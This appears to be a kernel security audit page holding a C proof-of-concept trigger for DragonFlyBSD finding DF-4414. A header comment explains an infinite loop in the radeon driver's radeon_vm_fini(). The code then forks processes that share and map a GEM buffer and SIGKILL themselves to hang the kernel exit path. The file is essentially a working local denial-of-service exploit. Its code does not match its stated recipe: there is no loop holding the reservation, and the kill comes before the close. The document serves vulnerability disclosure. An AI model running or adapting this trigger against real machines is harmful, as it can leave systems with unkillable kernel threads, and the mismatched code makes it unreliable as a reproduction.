⬢ DragonFlyBSD Kernel Audit
DF-4414 / trigger_fini.c
← back to finding ↓ download raw
/*
 * DF-4414 trigger: radeon_vm_fini() DragonFly-specific infinite loop.
 *
 * sys/dev/drm/radeon/radeon_vm.c:1250-1261 (DFly branch):
 *
 *	while (vm->va.rb_node) {
 *		bo_va = container_of((void *)vm->va.rb_node, ...);
 *		r = radeon_bo_reserve(bo_va->bo, false);
 *		if (!r) {  ...remove from tree, kfree...  }
 *	}
 *
 * radeon_bo_reserve(bo, false) is ttm_bo_reserve(..., interruptible=TRUE,
 * no_wait=FALSE, ...) (radeon_object.h:64-68): when the BO's reservation is
 * held by another thread AND the closing thread has a pending signal it
 * returns -ERESTARTSYS immediately -> the loop makes no progress and never
 * exits -> kernel busy-loop; the drm fd never closes, the vm is leaked and
 * the closing thread is unkillable (it never returns to user mode).
 *
 * Upstream Linux uses rbtree_postorder_for_each_entry_safe(): a SINGLE pass
 * that merely leaks the bo_va on reserve failure -- DFly's rewrite turned a
 * leak into a livelock.
 *
 * Recipe (two processes, bo shared via GEM flink):
 *   A: opens card0, creates+flinks bo, maps it into A's vm, then loops
 *      CS submits that keep bo's ttm reservation held (ttm_eu_reserve_buffers
 *      in radeon_cs_parser_bos).
 *   B: opens card0, GEM_OPENs the flink name, maps bo into B's vm, never
 *      unmaps, then exits while being SIGKILLed (signal pending ->
 *      -ERESTARTSYS on reserve).
 *   -> B's exit thread spins forever in radeon_vm_fini().
 *
 * Build: cc -O2 -I/usr/src/sys/dev/drm/include/uapi \
 *            -o trigger_fini trigger_fini.c
 */
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include "radeon_abi.h"

static const char *CARD = "/dev/dri/card0";

static int gem_create(int fd, uint64_t size, uint32_t domain, uint32_t *h)
{
	struct drm_radeon_gem_create gc;

	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	gc.initial_domain = domain;
	return ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE_, &gc) ? -1 :
	    (*h = gc.handle, 0);
}

static int gem_flink(int fd, uint32_t handle, uint32_t *name)
{
	struct drm_gem_flink_ fl;

	memset(&fl, 0, sizeof(fl));
	fl.handle = handle;
	if (ioctl(fd, DRM_IOCTL_GEM_FLINK_, &fl))
		return -1;
	*name = fl.name;
	return 0;
}

static int gem_open(int fd, uint32_t name, uint32_t *handle)
{
	struct drm_gem_open_ go;

	memset(&go, 0, sizeof(go));
	go.name = name;
	if (ioctl(fd, DRM_IOCTL_GEM_OPEN_, &go))
		return -1;
	*handle = go.handle;
	return 0;
}

static int gem_va_map(int fd, uint32_t handle, uint64_t off)
{
	struct drm_radeon_gem_va va;

	memset(&va, 0, sizeof(va));
	va.handle = handle;
	va.offset = off;
	va.flags = RADEON_VM_PAGE_READABLE | RADEON_VM_PAGE_WRITEABLE;
	va.operation = RADEON_VA_MAP;
	return ioctl(fd, DRM_IOCTL_RADEON_GEM_VA_, &va);
}

int main(void)
{
	int fd, i;
	uint32_t bo = 0, name = 0;
	char nbuf[32];

	fd = open(CARD, O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		printf("open(%s): %s\n", CARD, strerror(errno));
		printf("=> no radeon DRM device available; trigger cannot run.\n");
		return 2;
	}
	if (gem_create(fd, 4096, RADEON_GEM_DOMAIN_VRAM, &bo) ||
	    gem_flink(fd, bo, &name)) {
		printf("create/flink: %s\n", strerror(errno));
		return 2;
	}
	/* map bo in OUR vm and leave it mapped (vm->va non-empty at fini) */
	if (gem_va_map(fd, bo, 0x100000))
		return 2;

	snprintf(nbuf, sizeof(nbuf), "%u", name);

	for (i = 0; i < 4; i++) {
		pid_t p = fork();
		if (p == 0) {
			int cfd;
			uint32_t ch, cbo;
			cfd = open(CARD, O_RDWR | O_CLOEXEC);
			if (cfd < 0)
				_exit(2);
			if (gem_open(cfd, (uint32_t)strtoul(nbuf, NULL, 10),
			    &cbo))
				_exit(3);
			gem_va_map(cfd, cbo, 0x100000);
			/* close fd with SIGKILL racing: postclose -> vm_fini
			 * -> reserve(bo) held by parent CS loop + signal
			 * pending -> -ERESTARTSYS -> infinite kernel loop */
			kill(getpid(), SIGKILL);
			close(cfd);
			_exit(0);
		}
		waitpid(p, NULL, 0);
		printf("child %d reaped (if this hangs, the exit thread is "
		    "stuck spinning in radeon_vm_fini)\n", i);
	}
	printf("completed without observing the hang\n");
	close(fd);
	return 1;
}